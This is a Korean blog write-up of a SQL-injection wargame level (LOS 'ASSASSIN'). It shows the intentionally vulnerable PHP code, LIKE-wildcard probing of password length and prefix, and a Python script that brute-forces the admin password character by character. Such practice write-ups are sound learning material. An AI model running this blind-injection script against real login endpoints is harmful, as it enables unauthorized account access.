본문 바로가기

wargame/LOS

[LOS]15번 ASSASSIN

ASSASSIN



15번 문제

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  // 싱글쿼터 필터링
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  pw가 $_GET[pw]인 레코드의 id를 select 하는 쿼리
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 

  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  $result['id']가 'admin'이면 문제 해결

  highlight_file(__FILE__); 
?>



코드를 보고 기본적인 두 가지 방법이 떠올랐다.
하나는 기본적인 sql injection 방식으로 싱글쿼터를 사용해서 pw like '' or id='admin' 과 같이 우회하는 방식이고, 다른 하나는 pw를 알아내는 방식이다.

= 을 쓰지 않고 like를 쓰는 걸 보니 와일드카드를 사용해서 비밀번호를 알아내는 문제인가 싶어 우선 두 번째 방법을 시도해 보았다.

SQL에서 _은 한 문자를 의미한다. id가 guest인 record의 pw는 8자리임을 알아냈다.

pw의 자리수를 7이하로 전부 해보았다.

이 때엔 Hello admin이 안 뜬다. 즉 admin의 pw는 8자리 이상이다.

9개의 _와 %를 입력했을 때에도 Hello admin이 안 뜬다.

즉 admin의 pw는 9자리 미만이다. admin의 pw는 8자리임을 알아냈다.
근데 이 이상 비밀번호를 알아낼 방법이 떠오르지 않았다.

어쩔 수 없이 아까 떠올렸던 필터링을 우회해서 싱글쿼터를 사용하는 방식을 시도해보기로 했다.

이전 문제에서 preg_match 함수를 우회했던 16진수로 변환하는 방식을 시도했다.

기존의 문자열과는 달리 싱글쿼터를 우회해야 하는 특수한 상황이라서 16진수를 문자열로 인식해 실패했다.
다른 방식을 찾아봤지만 이외에도 모두 실패했다. 어쩔 수 없이 다시 첫 번째 방식으로 풀기로 했다.

1부터 차례대로 해보았다.

guest의 pw가 8로 시작함을 알아냈다.

z까지 해보았는데 Hello admin이 나오지 않는다!

내가 문제를 잘 못 풀었나 생각이 들었다. 근데 생각해보니 pw의 자릿값이 동일하다면 Hello guest만 출력될 수 있으니 guest와 admin의 pw가 둘 다 8로 시작했을 가능성도 있었다.
Hello admin이 출력될 때까지 blind sql injection처럼 알아보기로 했다.

하나하나 해보기 귀찮으니 각 자리마다 모든 ascii 범위를 조사하는 파이썬 코드를 짰다.
"Hello ~~~"가 출력될 때의 ascii 값을 출력시키는데 만약 한 자리에서 두 개 이상의 값이 나온다면 이는 guest와 admin가 다른 값을 가지고 있다는 의미이므로 이에 맞게 코드를 짰다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
import sys
 
if __name__=="__main__":
 
    for i in range(1, 9):
        print("\n"+str(i)+"번째 자리 pw")
        for j in range(48, 123) : # 아스키 코드의 범위
            query = "_"*(i-1)+chr(j)+"%"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : "oooti6amobpho067674nq6t514"}
            response = requests.get('https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            
            if soup.select('h2') :
                print(chr(j), end="")
                if soup.find('h2').text in 'admin' :
                    sys.exit(0) # 작동 안 함!



3번째 자리부터 두 개 이상의 pw 값이 나온다.

guest, admin 둘 다 처음은 83으로 시작하지만 둘 중 하나는 832, 83d이므로 둘 다 한 번 해보았다.

admin은 832로 시작한다. 문제 해결.

당연히 guest는 83d로 시작함을 확인할 수 있다.


'wargame > LOS' 카테고리의 다른 글

[LOS]17번 SUCCUBUS  (0) 2019.08.09
[LOS]16번 ZOMBIE ASSASSIN  (0) 2019.08.09
[LOS]14번 GIANT  (0) 2019.08.06
[LOS]13번 BUGBEAR  (0) 2019.08.06
[LOS]12번 DARKNIGHT  (0) 2019.08.02